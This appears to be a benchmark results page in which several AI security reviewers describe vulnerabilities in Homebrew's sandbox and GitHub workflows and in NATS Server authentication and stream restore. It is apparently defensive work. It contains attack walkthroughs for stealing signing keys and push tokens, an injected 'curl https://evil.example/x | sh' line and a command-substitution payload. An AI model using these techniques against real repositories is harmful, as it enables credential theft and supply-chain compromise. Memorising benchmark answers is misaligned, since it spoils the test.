Alice, a developer at Acme Corp, runs
brew install toolxon her Mac. With the default JSON API install path, the Rubypost_installhook fortoolxcomes from the.brew/toolx.rbfile inside the downloaded bottle. Homebrew runs that hook only inside the sandbox. Mallory has slipped a maliciouspost_installintotoolx, for example through a merged pull request or a compromised bottle build. Her hook deletes thebrewsymlink in Alice's prefix and writes a shell script in its place. On Linux there is no sandbox at all, so the same hook can write anywhere Alice can.- The attacker controls the
post_installcode of a formula the victim installs or postinstalls.- The victim is on macOS, where
Sandbox.available?is true. On Linux the hook is not confined at all.- For the
brewsymlink case, the prefix uses the symlinked layout such as/usr/local/bin/brew -> ../Homebrew/bin/brew. The other prefix folders are writable on every layout.##### What they get
Mallory turns a sandboxed hook into lasting code execution as Alice. The fake
brewscript, or a replaced linked command such asbin/gitorbin/python3, runs with Alice's full rights the next time she uses it. The hook can also swap the CA bundle atetc/ca-certificates/cert.pemoretc/openssl@3/cert.pem. Homebrew and the tools it installs use these bundles to trust HTTPS servers, so Mallory can then intercept their traffic. She can also editvar/homebrew/linkedandvar/homebrew/pinnedto change which kegs Homebrew thinks are installed or pinned. The damage covers Alice's whole Homebrew installation and her user account. The sandbox already lets the hook read files and use the network, so the main extra gain is write access and persistence outside the sandbox.##### How it works
1.
FormulaInstaller#post_installbuilds the sandbox profile and callsdeny_write_homebrew_repositorybefore it adds the prefix write rules (formula_installer.rb:1145-1152).2.
deny_write_homebrew_repositoryblocksHOMEBREW_BREW_FILEwith aliteralrule (sandbox.rb:83-91).path_filterpasses that path throughexpand_realpath, which resolves the symlink (sandbox.rb:195-207). The rule therefore namesHOMEBREW_REPOSITORY/bin/brew, not theHOMEBREW_PREFIX/bin/brewsymlink thatbin/brewexports (bin/brew:50-52).3. The loop over
Keg::KEG_LINK_DIRECTORIESthen addssubpathwrite rules forbin,etc,include,lib,sbin,shareandvarunder the whole prefix (formula_installer.rb:1150-1152, keg.rb:83-85).4. The hook in
postinstall.rbcan now unlink and recreate any entry in those folders. That includes thebrewsymlink, the symlinks of other formulae inbin, the CA bundle that brew.sh trusts (brew.sh:683-687), and Homebrew's own state invar/homebrew(startup/config.rb:25-31).5. On Linux,
Sandbox.available?returns false (sandbox.rb:16-19), so theelsebranch runsexec(*args)with no sandbox at all (formula_installer.rb:1154-1155). - Exploit scenario
-
Not specified.
- Recommendation
-
Narrow the post-install write allowlist. Allow the formula's own rack, its own
etc/<name>,var/<name>,var/logand similar per-formula paths, and only the specific shared paths that post-install hooks really need. Do not allow whole prefix folders. Protect Homebrew's own state explicitly: add deny rules forHOMEBREW_PREFIX/bin/brewthat match the unresolved symlink path as well as its target, and forvar/homebrew(linked, pinned, locks). Make sure the deny rules take precedence over later allow rules in the profile. Another option, used by newer Homebrew releases, is to snapshotbin/brewand its folder before the hook runs and restore them afterwards. On Linux, add a sandbox for build and post-install steps, or document clearly that hooks run unconfined. To check the fix, add a test formula whosepost_installtries to delete and recreateHOMEBREW_PREFIX/bin/brew, writeHOMEBREW_PREFIX/bin/othertool, and editHOMEBREW_PREFIX/var/homebrew/linked. Confirm on macOS that each attempt fails with a sandbox deny and that the files are unchanged afterwards.
- Sandbox escape through domain socket pivot on macOS homebrew-11 Medium
- Formula privilege escalation through sudo homebrew-12 Medium
- Formula loading through SFTP, SCP, and other protocols homebrew-13 Medium
- Sandbox allows changing permissions for important directories homebrew-14 Medium
- FileUtils.rm_rf does not check if files are deleted homebrew-17 Medium
-
Use of pull_request_target in GitHub Actions workflows homebrew-18 · 7 writeups Medium
V12
Selected pull request code inherits bot signing secrets
brew/.github/workflows/vendor-gems.yml:14Predicted severity: High- Root cause
-
The workflow treats approval to run vendoring for a selected pull request as permission to execute the entire pull request head with signing secrets already installed. Checkout, dependency execution, signing, and PAT-authenticated pushing share one mutable runner and repository.
- Impact
-
A malicious pull request selected by an authorized dispatcher can disclose the BrewTestBot signing subkey and passphrase, allowing signatures outside the intended vendoring operation. Executed code can also persist a Git hook before the push action stores its PAT in repository-local Git configuration and invokes Git, exposing that write credential. This path requires an authorized dispatch selecting hostile content; the file does not establish that an arbitrary external pull request author can trigger privileged execution unaided.
- Description
-
The privileged event path imports the BrewTestBot signing subkey before
gh pr checkoutreplaces the Homebrew repository with the selected pull request head. It then executesbrew vendor-gemswithHOMEBREW_GPG_PASSPHRASEin the environment and runsbrew typecheck --updateagainst that checkout. The adjacent implementation runsbundle install,bundle pristine, and executable RBI generators, rather than treating the selected files as inert dependency metadata. Forworkflow_dispatch, the job accepts the supplied pull request without checking its author or constraining its changed executable files; the Dependabot-author condition applies only to the automatic target-event route. Consequently, dispatching this workflow against a malicious pull request gives its code access to the imported signing key and its passphrase in the same runner context.
Devin Security (Deep)
Vendor Gems workflow runs any pull request's code with the BrewTestBot signing key and push token
brew/.github/workflows/vendor-gems.yml:13Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If a maintainer runs the Vendor Gems workflow for an outside contributor's pull request, that contributor's code can steal BrewTestBot's commit signing key, its passphrase, and the token used to push to Homebrew repositories.
##### What's wrong
This is a "pwn request": a privileged CI job checks out untrusted pull request code and then executes it while secrets are available. The
workflow_dispatchpath accepts any pull request number, runsgh pr checkouton it inside the Homebrew installation, and then runsbrew vendor-gems, which is the pull request's own Ruby code. Nothing checks who wrote the pull request or where its branch lives.##### Who can do it
Mallory has a free GitHub account. She opens a pull request against Homebrew/brew that bumps a gem in
Library/Homebrew/Gemfile, and she also editsLibrary/Homebrew/dev-cmd/vendor-gems.rb(or any filebrewloads at startup). Alice, a Homebrew maintainer, wants the vendored gems and RBI files updated for the pull request, so she runs the Vendor Gems workflow and enters Mallory's pull request number. Mallory's code then runs inside the privileged job.- Mallory can open a pull request against Homebrew/brew. Anyone with a GitHub account can do this.
- A user with write access dispatches
vendor-gems.ymlwith Mallory's pull request number. The workflow does not tell the maintainer that this runs the contributor's code with secrets.- A second path needs no maintainer action. Dependabot pull requests start this job automatically on
pull_request_target, andbundle installandbrew typecheck --updaterun code from newly released upstream gems. A person who controls a new release of any gem in Homebrew's lockfile gets the same access.##### What they get
Mallory's code reads the BrewTestBot GPG private key from the runner's keyring and the passphrase from the
HOMEBREW_GPG_PASSPHRASEenvironment variable. With them she can sign commits that GitHub shows as verified BrewTestBot commits. Her code can also plant a git hook in the Homebrew checkout. The later push step storesHOMEBREW_GITHUB_PUBLIC_REPO_TOKENin that checkout's git config and then runsgit checkoutandgit push, so the hook can copy the token. That token pushes to Homebrew repositories. Mallory could then push changes to Homebrew code or formulae, and those changes would reach every Homebrew user who runsbrew update.##### How it works
1. The workflow accepts a free-form
pull_requestnumber onworkflow_dispatch, and the job condition lets every dispatch run (vendor-gems.yml:14-18, 26-34).2. The "Set up commit signing" step imports the BrewTestBot GPG signing key into the runner's keyring (vendor-gems.yml:51-55; setup-commit-signing/main.sh:30-38).
3. The "Check out pull request" step runs
gh pr checkouton the given number inside the Homebrew installation thatsetup-homebrewput onPATH, so the installation now holds the pull request's code (vendor-gems.yml:57-70).4. The "Vendor Gems" step runs
brew vendor-gemsfrom that checkout withHOMEBREW_GPG_PASSPHRASEset, which executes the pull request's Ruby code and its gems' install code (vendor-gems.yml:72-81).5. The "Push to pull request" step passes
HOMEBREW_GITHUB_PUBLIC_REPO_TOKENto git-try-push, which writes the token into the checkout's local git config and then runsgit checkoutandgit pushin a directory the earlier code controlled (vendor-gems.yml:100-107; git-try-push/main.js:41-66). - Exploit scenario
-
Not specified.
- Recommendation
-
Split the job. Run
brew vendor-gemsandbrew typecheck --updatein an unprivileged job with no secrets. Upload the generatedGemfile.lock,vendor, andsorbetchanges as an artifact. In a second job that never executes pull request code, download the artifact, check that it only touches the expected paths, and then sign and push. Until then, reject dispatches for pull requests whose head repository is notHomebrew/brewor whose author is notdependabot[bot]. Readgithub.event.pull_request.head.repo.full_nameorgh pr view --json headRepositoryOwner,authorand compare. Pass the pull request number throughenv:and quote it. To check the fix, dispatch the workflow with a fork pull request number. The job should stop before any secret is loaded. A dependabot pull request should still produce a signed commit.
Devin Security
Labeled pull_request_target workflow runs npm install on PR code with signing key and push token available
actions/.github/workflows/vendor-node-modules.yml:3Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An outside contributor whose pull request gets the
update node_moduleslabel can run code in a privileged workflow and steal BrewTestBot's GPG signing key, its passphrase, and a token that can push to Homebrew repositories.##### What's wrong
This is a "pwn request": a
pull_request_targetworkflow checks out untrusted pull request code and runs it while secrets are loaded. The workflow imports the BrewTestBot signing key, checks out the PR head withgh pr checkout, and then runsnpm install, which executes lifecycle scripts from the PR'spackage.json.##### Who can do it
Mallory, an outside GitHub user, opens a pull request to Homebrew/actions that updates
package.json. Bob, a Homebrew maintainer, reviews it and adds theupdate node_moduleslabel. The workflow checks out whatever the PR head is when the job runs, so Mallory can push a maliciouspreinstallscript right after Bob reviews, or hide it inside a large dependency change.- Mallory can open a pull request (any GitHub account).
- A maintainer adds the
update node_moduleslabel, or runs the workflow manually with her PR number.- The PR head at run time contains a
package.jsonlifecycle script, or a dependency with an install script.##### What they get
Mallory's script runs on the runner after the BrewTestBot GPG secret key is imported into the keyring. The script can export that key. It can also write
.git/hooks/pre-commitand.git/hooks/pre-pushhooks. The next steps run those hooks. The commit step hasHOMEBREW_GPG_PASSPHRASEin its environment, andgit-try-pushwritesHOMEBREW_GITHUB_PUBLIC_REPO_TOKENinto.git/configbefore it pushes. With the key, the passphrase and the push token, Mallory can make commits that look like signed BrewTestBot commits and push them to any repository that token can write to. That opens a path to tampering with Homebrew code that many users install.##### How it works
1. The workflow runs on
pull_request_targetlabeled events, and the only gate is the label check (vendor-node-modules.yml:3-23).2.
setup-commit-signingimports the BrewTestBot secret GPG subkey into the runner's keyring (vendor-node-modules.yml:37-40, setup-commit-signing/main.sh:34).3.
gh pr checkoutswitches the working tree to the attacker's current PR head (vendor-node-modules.yml:41-49).4.
npm installruns the lifecycle scripts from the PR'spackage.json(vendor-node-modules.yml:50-51).5. The commit step then exposes the GPG passphrase to any planted git hooks (vendor-node-modules.yml:52-61).
6.
git-try-pushstores the push token in.git/configand runsgit push, which triggers any planted pre-push hook (vendor-node-modules.yml:62-68, git-try-push/main.js:42-44). - Exploit scenario
-
Not specified.
- Recommendation
-
Run
npm install --ignore-scriptsin a separate job that has no secrets and no signing setup. Pass the resulting node_modules to the privileged job as an artifact. Only commit and push from that privileged job. Pin the checkout to the PR head SHA that the maintainer reviewed when adding the label, and do not use whatever head exists at run time. Also setcore.hooksPath=/dev/nullbefore you commit or push. To check the fix, open a test PR whosepreinstallscript writes a marker file and plants a.git/hooks/pre-commithook. Confirm that the script does not run in the job that holds the signing key, and that the hook does not run during commit or push.
Codex Security (GPT-6 Sol)
Labeled PR code can run with vendoring signing and push authority
actions/.github/workflows/vendor-node-modules.yml:3Predicted severity: High- Root cause
-
The job uses pull_request_target privileges but switches its working tree to the PR head before running npm lifecycle code. The final local action is also resolved from that untrusted tree and receives a separate push token.
- Impact
-
A labeled untrusted PR can run code in a job holding a private signing key and a repository push token.
- Description
-
A maintainer-applied label starts a privileged vendoring job that checks out contributor code before npm install and later runs a PR-local action with a push token.
- Exploit scenario
-
PR branch content -> gh pr checkout -> npm install / local git-try-push -> GPG key and PAT
- Recommendation
-
Run PR-controlled vendoring in an unprivileged job without secrets; validate its artifact, then sign and push from a trusted revision in a separate job.
Claude Security (Sonnet 5.5)
npm install of an untrusted PR head (lifecycle scripts) runs in a job holding the BrewTestBot GPG key and passphrase flow
actions/.github/workflows/vendor-node-modules.yml:51Predicted severity: High- Root cause
-
Vulnerable symbol: jobs.vendor-node-modules (step: Vendor node_modules)
Preconditions: A maintainer applies the 'update node_modules' label to the attacker's PR, or a write-access user dispatches the workflow for it; The PR head can be changed between label time and the
gh pr checkoutstep, because the PR is fetched by numberOffending code:
run: npm install
- Impact
-
Attacker-controlled code runs on the runner with access to the imported GPG secret key. It can also plant a git hook, or rewrite the global gpg.program or ~/.gitconfig. The next step, 'Commit changes', then runs
git commitwith HOMEBREW_GPG_PASSPHRASE in its environment, which hands the passphrase to the attacker. The result is BrewTestBot GPG key compromise and the ability to sign commits. - Description
-
After
gh pr checkoutbrings in the fork PR's package.json, package-lock.json and node_modules,npm installexecutes the PR's lifecycle scripts (preinstall, install, postinstall, prepare) inside a pull_request_target job. That job has already imported the BrewTestBot GPG signing key and set a global gpg.program wrapper. Also CWE-829: On apull_request_targetevent the job imports BrewTestBot's GPG signing subkey (setup-commit-signing), then runsgh pr checkoutto pull the (possibly fork) PR head, then runsnpm install, which executes the PR's and its dependencies' lifecycle scripts. Those scripts can read the imported private key and tamper with git hooks or global git config. The passphrase (HOMEBREW_GPG_PASSPHRASE) and theHOMEBREW_GITHUB_PUBLIC_REPO_TOKENPAT are then exposed to the next steps, which run in the same attacker-modified environment. - Exploit scenario
-
A fork PR adds
"scripts": {"preinstall": "..."}to package.json, or a trojaned module under node_modules. After a maintainer applies the label,npm installruns the script. The script writes .git/hooks/pre-commit (or changesgpg.program) so that the followinggit commitstep leaks HOMEBREW_GPG_PASSPHRASE. It also copies ~/.gnupg to attacker infrastructure. - Recommendation
-
Never run package-manager lifecycle scripts from untrusted PR content in a job with signing material or secrets. Use
npm install --ignore-scripts, and perform the vendoring in an unprivileged job that uploads the result as an artifact. Pin the checkout to the labelled SHA, and keep the key and passphrase out of the job until after the untrusted code has finished. Also CWE-829: Do not runnpm installon untrusted PR contents in a job that holds secrets. Split the work into two jobs. The first has no secrets: it checks out the PR, runsnpm install --ignore-scripts, and uploads the resulting node_modules diff as an artifact. The second, privileged job then applies that diff and handles signing and pushing. Set up commit signing and pass the passphrase and PAT only in the final job, after any PR-controlled code has run. Alternatively require the PR author to be a trusted account or pin the checked-out SHA reviewed at labeling time. Runnpm install --ignore-scriptswherever possible.
Claude Security (Opus 5.5)
pull_request_target workflow runs the PR's own copy of ./git-try-push with the BrewTestBot push token after checking out the PR
actions/.github/workflows/vendor-node-modules.yml:64Predicted severity: High- Root cause
-
Vulnerable symbol: jobs.vendor-node-modules (step: Push to pull request)
Preconditions: A maintainer applies the 'update node_modules' label to the PR (or a later label event occurs after the label is present), or runs workflow_dispatch with the PR number
Offending code:
uses: ./git-try-push/
- Impact
-
Exfiltration of BrewTestBot's HOMEBREW_GITHUB_PUBLIC_REPO_TOKEN, plus its GPG signing key and passphrase. This enables pushing signed commits to Homebrew repositories and compromising the Homebrew/actions supply chain used by all Homebrew workflows.
- Description
-
After
gh pr checkoutreplaces the workspace with attacker-controlled PR content, the stepuses: ./git-try-push/loads the action from that workspace when the step runs. The PR therefore supplies the action code that receives secrets.HOMEBREW_GITHUB_PUBLIC_REPO_TOKEN as itstokeninput. Earlier,npm installhas already run the PR's lifecycle scripts after the BrewTestBot GPG key was imported, and the next step passes the GPG passphrase togit commit. - Exploit scenario
-
An attacker opens a PR to Homebrew/actions that changes git-try-push/main.js (or action.yml) to send INPUT_TOKEN to an attacker server, and changes node_modules or package.json so a commit is produced. After a maintainer has applied the 'update node_modules' label (to this PR, or before the attacker pushes the malicious commit, with any later label event re-triggering the workflow), the workflow checks out the PR head and runs
npm install(attacker lifecycle scripts can also replace the gpg.program wrapper in /tmp or plant .git/hooks/pre-commit to capture HOMEBREW_GPG_PASSPHRASE duringgit commit). It then runs the PR's ./git-try-push with the BrewTestBot PAT. - Recommendation
-
Never run local actions (
uses: ./...) or PR-provided scripts after checking out PR code in a pull_request_target workflow. Reference git-try-push from a pinned trusted ref (Homebrew/actions/git-try-push@<sha>), runnpm install --ignore-scriptsin an unprivileged job, and move signing and pushing into a separate job that consumes only the generated diff.
Vercel Security Review
Privileged vendoring executes pull-request-controlled code with repository secrets
actions/.github/workflows/vendor-node-modules.yml:44Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A maintainer label admits fork-controlled content into the privileged vendoring job** -
actions/.github/workflows/vendor-node-modules.yml:20-23```yaml title="actions/.github/workflows/vendor-node-modules.yml:20-23"
startsWith(github.repository, 'Homebrew/') && (
github.event_name == 'workflow_dispatch' ||
contains(github.event.pull_request.labels.*.name, 'update node_modules')
)
```
**2. The new workflow replaces its trusted checkout with the PR's current branch** -
actions/.github/workflows/vendor-node-modules.yml:44```yaml title="actions/.github/workflows/vendor-node-modules.yml:44"
gh pr checkout '${{ github.event.pull_request.number || github.event.inputs.pull_request }}'
```
**3. PR-controlled action code receives the reusable push credential** -
actions/.github/workflows/vendor-node-modules.yml:63-66```yaml title="actions/.github/workflows/vendor-node-modules.yml:63-66"
if: steps.commit.outputs.committed == 'true'
uses: ./git-try-push/
with:
token: ${{ secrets.HOMEBREW_GITHUB_PUBLIC_REPO_TOKEN }}
```
The preceding
npm installalso executes PR lifecycle scripts. A contributor whose PR is selected for vendoring can modify the local action or install hooks, obtaining repository-write credentials rather than merely updated dependencies. Checkout is not pinned to the revision the maintainer inspected. - Exploit scenario
-
Not specified.
- Recommendation
-
Keep all executable actions and scripts on a trusted revision. Perform dependency resolution in a separate unprivileged job without signing keys or write tokens, disable lifecycle scripts where possible, and pass only validated dependency artifacts to the privileged commit/push job. Pin any approved PR inputs to an immutable inspected SHA; do not execute PR-local actions in the privileged job.
-
Code injection through inputs in multiple actions homebrew-23 · 4 writeups Medium
V12
Formula input executes shell commands with token access
actions/bump-formulae/action.yml:11Predicted severity: High- Root cause
-
inputs.formulaeis substituted into shell source at expression-evaluation time rather than transferred through an environment variable and parsed into data arguments. This merges the formula-input trust boundary with shell execution in a credential-bearing step. - Impact
-
If a consuming workflow derives
formulaefrom untrusted data, that data can execute commands with the runner's privileges and read or misuse the supplied GitHub token. The resulting repository access is bounded by that token's permissions; the inspected in-repository caller uses a fixed formula value and does not demonstrate this attacker-controlled path. - Description
-
The composite action inserts
inputs.formulaedirectly into the executable text of arunstep instead of passing formula names as data. Withshell: sh, a value such ashello$(id >&2)executes the command substitution beforebrewreceives its arguments, so formula validation inside Homebrew cannot prevent that execution. The documented one-formula-per-line format also makes subsequent lines separate shell commands rather than additional arguments tobrew bump. Every such command executes in a step whose environment includes the suppliedHOMEBREW_GITHUB_API_TOKEN, documented as a personal access token. The repository's own workflow supplies the literalhello, so an attacker-controlled invocation is not established for that caller; exploitation requires a consuming workflow to pass attacker-influenced formula input.
Devin Security (Deep)
Formula and cask names are pasted into the shell command, so extra lines run as commands
actions/bump-packages/action.yml:11Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can control the
formulaeorcasksvalue a workflow passes to this action can run shell commands with the caller's GitHub token, but no workflow in this repository calls this action.##### What's wrong
This is a shell injection through GitHub Actions expression substitution. GitHub writes
${{ inputs.formulae }}and${{ inputs.casks }}into the script text beforeshparses it. Newlines,;,$()and backticks in the value become shell code. Both inputs are documented as "one per line", so even normal use runs line two onward as separate commands.##### Who can do it
Alice, a maintainer at Acme Corp, builds an autobump workflow that takes cask names from a file in a pull request or from an issue form. Mallory, an outside contributor, submits a cask name followed by a new line with
curl https://evil.example/x | sh. The workflow passes that text tobump-packages, and the second line runs.- A calling workflow passes outsider-influenced text into
formulaeorcasks.- The calling workflow supplies a write-capable token in
token, which the action requires.- No workflow in this repository calls this action. Homebrew's real callers live in other repositories and could not be checked here.
##### What they get
Mallory's command runs with
HOMEBREW_GITHUB_API_TOKENset to Alice's token. She can copy that token and push commits or open pull requests in any repository it can write to. The damage is limited to what that one token can reach.##### How it works
1. The caller passes a crafted string as
formulaeorcasks(actions/bump-packages/action.yml:11-18).2. GitHub substitutes it unquoted into
brew bump --open-pr --formulae ${{ inputs.formulae }}(actions/bump-packages/action.yml:22).3. GitHub does the same for
brew bump --open-pr --casks ${{ inputs.casks }}(actions/bump-packages/action.yml:28).4.
shruns the injected lines with the token in the environment (actions/bump-packages/action.yml:27 and 33). - Exploit scenario
-
Not specified.
- Recommendation
-
Move both inputs into environment variables, for example
env: FORMULAE: ${{ inputs.formulae }}. Then build the argument list in the script without re-parsing it as shell code, for exampleprintf '%s\n' "$FORMULAE" | xargs brew bump --open-pr --formulae. To check the fix, call the action withcasks: "foo\necho INJECTED"and confirmINJECTEDnever appears in the log.
Codex Security (GPT-6 Sol)
Bump action package inputs can execute shell commands
actions/bump-formulae/action.yml:14Predicted severity: Low- Root cause
-
Both actions substitute formulae or casks into the run script rather than passing them as quoted data arguments. Shell metacharacters in an input can therefore become commands.
- Impact
-
Arbitrary command execution is significant if a caller passes attacker-controlled names, but reviewed in-repository callers use fixed values.
- Description
-
The reusable bump actions put caller-supplied package names directly in sh scripts while a GitHub API token is set.
- Exploit scenario
-
caller action input -> GitHub expression expansion -> sh script -> command execution
- Recommendation
-
Pass package inputs through environment variables and split them into validated argument arrays before invoking brew.
Claude Security (Sonnet 5.5)
Label-based authorization is time-of-check/time-of-use: the workflow checks out the PR's current head, not the commit that was present when the label was applied
actions/.github/workflows/vendor-node-modules.yml:44Predicted severity: Medium- Root cause
-
Vulnerable symbol: jobs.vendor-node-modules (step: Check out pull request)
Preconditions: A maintainer labels an attacker-controlled PR, even one that is benign at review time; The attacker can push to the PR head branch, which is always true for the PR author
Offending code:
gh pr checkout '${{ github.event.pull_request.number || github.event.inputs.pull_request }}'
- Impact
-
Defeats the only human-in-the-loop approval for a secrets-bearing pull_request_target job. Even a diligent maintainer cannot make labeling safe, because content can change after review. This enables the same secret theft and code execution described in the companion finding.
- Description
-
The decision to run privileged steps is made from the
labeledevent payload (the label gate at line 22). The code actually executed is whatevergh pr checkout <number>fetches when the step runs, notgithub.event.pull_request.head.sha. The PR author controls the branch and can push after the maintainer reviews and labels the PR. Also CWE-78:github.event.inputs.pull_requestis a free-form string typed by whoever dispatches the workflow, and it is expanded into the shell script text before bash runs. A value containing a single quote breaks out of the quoting and runs arbitrary commands. - Exploit scenario
-
A maintainer reviews a benign fork PR and adds the
update node_moduleslabel. The attacker watches for the label, or just pushes right after it, and force-pushes a malicious commit to the PR branch during the job's startup window (runner provisioning, checkout, setup-node, signing setup). The window is tens of seconds.gh pr checkoutthen fetches the malicious head, and the laternpm installand./git-try-push/steps run it with the workflow's secrets (see the related finding on untrusted code in the privileged job). Review of the PR contents is no protection because the reviewed commit is not the executed commit. - Recommendation
-
Check out the exact commit that was approved:
gh pr checkoutfollowed bygit checkout --detach ${{ github.event.pull_request.head.sha }}, or fetchrefs/pull/N/headpinned to that SHA. Fail the job if the PR head SHA differs from the event SHA. Also stop executing PR code with secrets at all (see the companion finding). Usetypes: [labeled]only with verification that the labeler is trusted and that the head SHA is unchanged. Also CWE-78: Pass the value through an env variable (PR: ${{ ... }}thengh pr checkout "$PR") and validate that it is numeric before use.
-
-
NATS Server Go NATS messaging server and Go auth libraries. Tasks 2 V12 1/2 Devin (Deep) 1/2 Devin 1/2 Codex Sec 1/2 Claude Sec 2/2 Claude Opus 2/2 Vercel 1/2
NATS messaging server and Go auth libraries.
-
Non-constant time comparison of plaintext passwords ostif-nats-3 · 3 writeups Medium
Devin Security
Plaintext passwords and tokens are compared with a non-constant-time string check
nats-server/server/auth.go:1415Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A remote attacker could in theory learn a plaintext client, route, gateway or leafnode password one byte at a time by timing failed logins, but the signal is very small over a network.
##### What's wrong
This is a timing side channel.
comparePasswordsuses Go's!=on strings when the configured password is not a bcrypt hash. That comparison stops at the first different byte, so the time it takes leaks how many leading bytes matched.##### Who can do it
Acme Corp runs a NATS server with
authorization { token: ... }in plaintext. Mallory can reach the client port. She sends many CONNECT messages with guessed tokens and measures how long each rejection takes.- The server uses a plaintext (not bcrypt) password or token for clients, routes, gateways or leafnodes.
- Mallory can open many connections to the listener and measure response times precisely.
##### What they get
If the timing difference is measurable, Mallory recovers the shared token and logs in as a full client of Acme's server. She can then publish and subscribe with that user's permissions. In practice network jitter makes this hard, so the risk is low.
##### How it works
1. A client sends CONNECT with a
passorauth_tokenfield.2.
processClientOrLeafAuthenticationcallscomparePasswordsat auth.go:1034, 1045 or 1050; routes, gateways and leafnodes call it at auth.go:1247, 1286 and 1314.3.
comparePasswordsat auth.go:1421 usesserverPassword != clientPassword, which returns early on the first mismatched byte. - Exploit scenario
-
Not specified.
- Recommendation
-
Compare non-bcrypt secrets with crypto/subtle.ConstantTimeCompare, for example
subtle.ConstantTimeCompare([]byte(serverPassword), []byte(clientPassword)) == 1. Keep recommending bcrypt or nkeys in config. Check the fix with a unit test that comparePasswords still accepts correct values and rejects wrong ones, and confirm no!=comparison of secrets remains in auth.go.
Claude Security (Sonnet 5.5)
Plaintext password/token comparison is not constant-time; bcrypt path also leaks user existence by timing
nats-server/server/auth.go:1421Predicted severity: Low- Root cause
-
Vulnerable symbol: comparePasswords
Preconditions: Plaintext (non-bcrypt) password or token configured; Attacker can reach the relevant listener and measure timing precisely (low-latency network position, many samples)
Offending code:
} else if serverPassword != clientPassword {
- Impact
-
Possible gradual recovery of plaintext shared secrets (token, cluster/gateway/leaf passwords) and username enumeration. Practical remote exploitation is difficult because of network jitter and the connection-per-guess cost, hence LOW.
- Description
-
Client credentials from the CONNECT message (c.opts.Password / c.opts.Token) are compared with the configured plaintext server password or token using Go's short-circuiting string inequality instead of crypto/subtle.ConstantTimeCompare. The same helper guards client, token, cluster, gateway and leafnode authentication. Separately, the username lookup at auth.go:~822 returns immediately for unknown users, while a known user with a bcrypt hash triggers a slow bcrypt compare, so response time reveals which usernames exist.
- Exploit scenario
-
An attacker with network access to the client, route, gateway or leafnode port repeatedly sends CONNECT messages with guessed tokens or passwords and measures per-attempt latency (auth failure is followed by -ERR and close). Matching prefixes of a plaintext secret take marginally longer to reject. Statistical measurement may recover a secret byte by byte. A user-enumeration timing oracle exists for bcrypt-protected users.
- Recommendation
-
Use subtle.ConstantTimeCompare on equal-length digests of both values (for example sha256 of each) for the plaintext branch. Perform a dummy bcrypt comparison for unknown users to equalise timing. Encourage bcrypt-hashed secrets.
Claude Security (Opus 5.5)
Plaintext passwords and tokens are compared in non-constant time, leaking timing information
nats-server/server/auth.go:1421Predicted severity: Low- Root cause
-
Vulnerable symbol: comparePasswords
Preconditions: The server's password, token, or route/gateway/leaf password is stored in plaintext (not bcrypt) in the configuration; The attacker can reach the listener over the network with low enough jitter to measure timing differences over many attempts
Offending code:
} else if serverPassword != clientPassword {
- Impact
-
An attacker may disclose shared secrets: client tokens and user passwords, and cluster, gateway and leafnode passwords. A recovered route or gateway password lets the attacker join the server mesh and read or inject all traffic. In practice exploitation needs high-precision remote timing and many attempts, and passwords stored as bcrypt hashes are not affected.
- Description
-
Unauthenticated peers send password and auth_token values in CONNECT (client.go processConnect). For every non-bcrypt secret, comparePasswords checks them with Go's
!=on strings. That operator returns early when the lengths differ and runtime memequal stops at the first differing chunk, so response timing depends on the secret. This one sink serves client users (auth.go:1034), the global token (:1045), single user/pass (:1050), route passwords (:1247), gateway passwords (:1286) and leafnode passwords (:1314). - Exploit scenario
-
The server is set up with a plaintext
authorization { token: ... }or a plaintext cluster/gateway/leafnode password. An attacker who can reach the client, route, gateway or leafnode port opens many connections. Each one sends a CONNECT with a candidate token or password and times the -ERR 'Authorization Violation' reply. Length mismatches return before the memory comparison, so the attacker first learns the secret's length. Repeated statistical sampling can then show which candidate prefix matches more chunks. With enough samples on a low-jitter network path, the attacker narrows down and recovers the secret. They can then sign in as that user, or join the cluster as a route or gateway with full message visibility. - Recommendation
-
For the non-bcrypt branch, use crypto/subtle.ConstantTimeCompare. Ideally hash both values first, for example compare SHA-256 digests with subtle.ConstantTimeCompare, so the length is not leaked either. Encourage or require bcrypt-hashed secrets.
-
Risk of denial of service when restoring Streams ostif-nats-4 · 6 writeups Medium
V12
Compressed restore archives bypass disk resource limits
nats-server/server/jetstream_api.go:3438Predicted severity: Medium- Root cause
-
Restore resource accounting is performed on compressed transport bytes, while extraction writes unbounded decompressed archive content to disk.
- Impact
-
An account caller allowed to restore a stream can consume disk far beyond the configured size admitted for the compressed upload, degrading or disabling JetStream for other accounts sharing the filesystem. The extraction runs synchronously in the restore finalization goroutine and cleanup cannot recover capacity until extraction returns or fails.
- Description
-
Restore upload admission limits the compressed staging file, but
RestoreStreamexpands it through S2 and TAR directly into the snapshot directory withio.Copyand no decompressed-byte, per-entry-size, file-count, or compression-ratio limit. The only earlier resource check incrementstotalby compressed chunks written to the temporary file. A compact compression bomb or archive containing highly compressible large regular files can therefore pass the staging check and expand until the JetStream filesystem is exhausted. Path traversal and non-regular entries are checked, but those checks do not bound expansion.
Devin Security (Deep)
Stream restore writes decompressed snapshot data to disk without any size limit
nats-server/server/stream.go:5657Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A user with restore permission can fill the server's disk with a small compressed upload, which breaks JetStream for every account on that server.
##### What's wrong
This is a decompression bomb. The server checks storage limits only against the compressed bytes it receives.
RestoreStreamthen decompresses the S2 stream, reads each tar entry, and copies it to disk with no limit on the decompressed size.##### Who can do it
Mallory is a user in any JetStream-enabled account who may call
$JS.API.STREAM.RESTORE.*. She uploads a few megabytes of S2-compressed tar data. The data expands to a file far larger than her account's storage limit.- Mallory has a user in a JetStream-enabled account with restore permission.
##### What they get
The server's JetStream disk fills up. Writes from every account on that server then fail, and the server may disable JetStream after a "no space left" error. This affects availability only. No data is exposed.
##### How it works
1.
processStreamRestoreadds up only the compressed chunk sizes forwouldExceedLimits(jetstream_api.go:3440).2.
RestoreStreamwraps the staged file ins2.NewReaderandtar.NewReader(stream.go:5657).3. Each regular entry is written with
io.Copy(fd, tr)and has no byte cap (stream.go:5678). - Exploit scenario
-
Not specified.
- Recommendation
-
Track the total decompressed bytes in
